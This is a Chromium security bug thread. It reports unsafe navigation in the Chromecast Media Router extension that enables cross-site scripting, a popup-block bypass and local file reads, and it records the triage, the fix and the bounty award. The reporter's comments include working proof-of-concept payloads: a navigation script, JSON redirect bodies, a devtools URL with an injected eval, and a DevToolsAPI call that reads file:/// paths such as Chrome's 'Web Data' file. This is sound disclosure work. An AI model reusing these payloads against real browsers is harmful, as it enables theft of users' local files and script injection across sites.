Security: unsafe navigation in chromecast plugin possibly causing UXSS and popup block bypass
Reported by
jinmot...@gmail.com,
Nov 1 2017
|
||||||||||||||||||||||||||||||
Issue description
VULNERABILITY DETAILS
In Media Router plugin(id: pkedcjkdefgpdelpbcmbmeomcjbeemfm) which is used by chrome cast, there are web_accessible_resources page which does chrome.tabs.update with user-controlled address.
web_acccessible_resources page includes cast_setup/*, and cast_setup/index.html uses cast_app.js. In cast_app.js(canary, since it's not minified) line 7527:
$crypto$jscomp$inline_903_parsedHash$$ = $castApp$app$parseHash_$$(location.hash);
switch($crypto$jscomp$inline_903_parsedHash$$.$component$) {
...
case "offers":
$crypto$jscomp$inline_903_parsedHash$$.$redemptionUrl$ ? $castApp$app$runOfferRedemption_$$($crypto$jscomp$inline_903_parsedHash$$.$redemptionUrl$) : $castApp$app$runOfferScanner_$$($webview$jscomp$5$$, $eventPageClient$jscomp$5$$);
break;
$crypto$jscomp$inline_903_parsedHash$$ (I call it parsedHash) is parsed from "#offers/..."-like location.hash, and this case, parsedHash.component == "offers" and parsedHash.$redemptionUrl$ (I call it redemptionUrl) is "...".
When the location.hash is "#offers/http%3A//my_url", the redemptionUrl will be http://my_url, and it'll request a json file from the url. In $castApp$app$runOfferRedemption_$$(I'll simplify code since it seems compilcated):
requestJson(redemptionUrl).then(function(jscomp) {
var redirectUrl = jscomp.url; // jscomp is the json in response
if(redirectUrl)
findOfferRedemptionTabs(encodeURIComponent(url)).then(
function(tab) { chrome.tabs.update(tab.id, redirectUrl); });
else reject();
});
findOfferRedemptionTabs:
function findOfferRedemptionTabs(escapedRedemptionUrl) {
return new Promise(function(resolve) {
chrome.tabs.query({
url: ['chrome://cast/*', 'chrome-extension://' + chrome.runtime.id + '/cast_setup*']
}, function(tabs) {
var ret = [];
tabs.forEach(function(tab) {
if(tab.url.indexOf(escapedRedemptionUrl) != -1) ret.push(tab);
resolve(ret);
});
});
}
redirectUrl is controlled, and the cast_setup/index.html itself can contain escapedRedemptionUrl, so a tab can navigate to any urls including chrome://, file:///, and anything except javascript:, since it's checked in each renderer.
Furthermore, the attacker can bypass popup restriction via Issue 607939 , which is closed but still triggable by the URL below.
chrome-devtools://devtools/remote/serve_rev/@199588/devtools.html?1:a=0//&remoteFrontendUrl=https://chrome-devtools-frontend.appspot.com/%27%3E%3C/iframe%3E%3Cimg%20src=x%20onerror=%27eval(location.hash.substr(1))#self.open('http://google.com', '_blank')
By first bug, the extension can navigate to the URL below and bypass popup restriction, since chrome-devtools://* doesn't have it.
Then, an attacker can do UXSS on http://*/*, https://hangouts.google.com/*, https://*.google.com/cast/chromecast/home/gsse(I call it permitted urls), since there are no check for race condition between chrome.tabs.query in findOfferRedemptionTabs and runOfferRedemption_. If the tab with address chrome://cast/* or chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm/cast_setup* is queried and the url is changed between two points, chrome.tabs.update can update the tabs with same id, but the permitted urls. I'll upload the video as a comment.
VERSION
Chrome Version: [64.0.3255.0] + [canary]
Operating System: Windows
REPRODUCTION CASE
A page can execute this script to navigate any page:
location = 'chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm/cast_setup/cast_app.js#offers/http%3A%2F%2Flocalhost%3A31337%2Findex.json';
Before running the script, make http://localhost:31337/index.json (or any url with Access-Control-Allow-Origin: * and Content-Type: application/json) serve this json:
{
"url": "url_to_navigate"
}
,
Nov 8 2017
+Cast API folks, can you look at this ASAP to determine the level of impact?
,
Nov 8 2017
+cc media router extension OWNERs. PTAL asap, thanks.
,
Nov 9 2017
Is the offer flow actually being used? Can we just disable it?
,
Nov 9 2017
Can we route this to ryanlc@. He and his team currently maintain this extension.
,
Nov 9 2017
+ryanlc to follow up.
,
Nov 9 2017
+amp from Cloud View to track this from a release POV as I am OOO.
,
Nov 9 2017
,
Nov 9 2017
,
Nov 9 2017
Unassign myself. I am not familiar with cast app or cast setup scripts.
,
Nov 9 2017
So, I don't see a UXSS bug. Can you provide a proof of concept showing that you can bypass the smae origin policy? Maybe I'm not understanding the vulnerable code or the "race condition" comment well enough. However, it does seem like you can get the extension to read and trust your own JSON. Are there any exciting object fields besides "url" that it will act on, that you could use to control execution flow inside the extension? Maybe not, but it sure looks suspicious... Assigning to amp since mfoltz is OOO and ryanlc hasn't visited the bug tracker in 30 days.
,
Nov 9 2017
,
Nov 9 2017
Taking this. I have an internal cl almost ready (tests are failing so needs some adjustment) at cl/175096463. tilmansp@ I added you as a reviewer as you are in the owners file for the relevant code.
,
Nov 9 2017
Removing android OS as the similar features there are not handled with the media router extension and aren't impacted by this.
,
Nov 9 2017
,
Nov 9 2017
Here is UXSS proof on hangouts.google.com, which is triggable if two or more windows are controllable. I've recorded the video since the race condition will need a unnecessarily complex code for PoC. I prefer 2x speed for playing it.. https://www.youtube.com/watch?v=ZCtlBx5NfhY&feature=youtu.be
,
Nov 9 2017
Popup block bypass must be done for PoC without user interaction since it needs two or more window which is controllable (so the race condition can happend).
,
Nov 9 2017
Umm.. the video has removed, so I upload it here.
,
Nov 9 2017
Thanks for the video. I think this is Medium severity because the user would have to navigate the tab at the exact right moment for the UXSS to be exploitable.
,
Nov 9 2017
In the report, I mentioned that even the devtools bug 607939 is fixed, it works. (only the DevToolsHost object is not created, but it's still sufficient to open a window)
,
Nov 9 2017
@palmer: Running a javascript on an extension is not possible for now since it's checked on each renderer side (and maybe correctly checked), and there's no race condition as I see, for now.
,
Nov 10 2017
,
Nov 10 2017
,
Nov 10 2017
Update: a javascript code can be executed with DevToolsHost object.
Below is PoC that load any page's content.
)]}'{
"url": "chrome-devtools://devtools/remote/serve_rev/@199588/devtools.html?1:a=0//&remoteFrontendUrl=https://chrome-devtools-frontend.appspot.com/%27%3E%3C/iframe%3E%3Cimg%20src=x%20onerror=%27eval(location.hash.substr(1))#window.w=w=self.open('chrome-devtools://devtools/remote/serve_rev/@199588/devtools.html');setTimeout(()=>{w.DevToolsAPI.streamWrite=(e,r)=>document.write(r);w.DevToolsAPI.sendMessageToEmbedder('loadNetworkResource', ['file:///C:/', '', 0])},100)"
}
,
Nov 10 2017
(This loads a page content in the devtools window, enabling file exfiltration, passive? UXSS, ...)
,
Nov 14 2017
Two fixes have been pushed (for Chrome 64 and Chrome 63, a slower staged release to 62 is ongoing) to the media router extension that prevents the redirect to internal chrome-* url's. cl/175238127 and cl/175566742 Further long term fixes are being worked on. The window opening of bug 607939 still needs to be addressed, perhaps 607939 should be re-opened? Marking this fixed. Please verify.
,
Nov 14 2017
@amp: In PoC above, I could load any URL's content without user interaction. I'm wondering if it affects current severity level (medium)? If possible, when I will be able to get the patched code (since I could not verify this as patched in chrome canary build)?
,
Nov 14 2017
Ah, forgot about canary, sorry about that. Canary should be updated with the next automated push tomorrow (we don't manually touch canary pushes as they are refreshed everyday anyway). I'll post an update when the canary version that contains the fix is ready.
,
Nov 14 2017
Note that issue 775527 tracks the problem described in #c24.
,
Nov 14 2017
@dgozman: can I see the issue?
,
Nov 14 2017
For fun, I've attached PoC video which can exfiltrate chrome Web Data files. It's just #c24 PoC with path file:///C:/Users/<my name>/AppData/Local/Google/Chrome/User Data/Default/Web Data
,
Nov 14 2017
,
Nov 14 2017
,
Nov 14 2017
Canary has now been updated.
,
Nov 15 2017
I think it's correctly fixed. Thanks!
,
Nov 15 2017
,
Dec 1 2017
*** Boilerplate reminders! *** Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing. *********************************
,
Dec 1 2017
Hi jinmoteam@ the VRP Panel took a look at this, and rewarded $500 for the initial report. The issue in #24 is covered by issue 775527 which was filed on October 17th. Cheers, and thanks again for the report!
,
Dec 1 2017
,
Dec 2 2017
Aha, so it was duplicated. Thanks for the rewards.
,
Dec 4 2017
,
Dec 15 2017
,
Dec 15 2017
This bug requires manual review: M64 has already been promoted to the beta branch, so this requires manual review Please contact the milestone owner if you have questions. Owners: cmasso@(Android), cmasso@(iOS), kbleicher@(ChromeOS), abdulsyed@(Desktop) For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Dec 16 2017
Not sure why the bot put on a merge request. Removing the merge labels as there is nothing to merge in this change, it has been resolved since mid Nov.
,
Dec 17 2017
Although it's trivial, can I get a credit for this on chromereleases.googleblog.com ?
,
Dec 21 2017
,
Dec 21 2017
I've updated https://chromereleases.googleblog.com/2017/12/stable-channel-update-for-desktop.html - still not quite sure how this one didn't make the notes in the first place, sorry about that!
,
Feb 20 2018
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Mar 27 2018
,
Apr 25 2018
,
May 2 2018
Seems like other browser based on chrome doesn't receive any updates for this if the chrome version is old. I'm not sure whether it should be fixed so old browser receive the update, or it's fixable, so I added this comment. === Example === Update request with current chrome version (65.0.3325.181): https://clients2.google.com/service/update2/crx?prodversion=65.0.3325.181&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D6117.717.0.4%26uc Result: <updatestatus status="ok" [crx url] ... > Update request with old chrome version (60.0.3112.113): https://clients2.google.com/service/update2/crx?prodversion=60.0.3112.113&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D6117.717.0.4%26uc Result: <updatestatus status="noupdate" /> Thanks!
,
Oct 5
|
||||||||||||||||||||||||||||||
►
Sign in to add a comment |
||||||||||||||||||||||||||||||
Comment 1 by jinmot...@gmail.com
, Nov 1 2017981 bytes
981 bytes Download